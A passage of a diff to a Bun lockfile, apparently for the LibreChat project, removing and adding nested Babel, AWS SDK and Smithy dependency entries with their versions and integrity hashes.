- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="],
-
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
+ "@google/genai/google-auth-library/gaxios/rimraf/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
@@ -9565,6 +8899,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9575,12 +8911,12 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9593,14 +8929,14 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser/@smithy/querystring-parser": ["@smithy/querystring-parser@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-aHb5cqXZocdzEkZ/CvhVjdw5l4r1aU/9iMEyoKzH4eXMowT6M0YjBpp7W/+XjkBnY8Xh0kVd55GKjnPKlCwinQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9611,28 +8947,38 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/hash-node/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-base64/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
- "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@aws-sdk/xml-builder/fast-xml-parser/strnum": ["strnum@2.1.1", "", {}, "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw=="],
-
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.4", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-jUr3x2CDhV15TOX2/Uoz4gfgeqLrRoTQbYAuhLS7lcVKNev7FeYSJ1ebEfjk+l9kbb7k7LfzIR/irgxys5ZTOg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/middleware-endpoint/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -9643,28 +8989,38 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
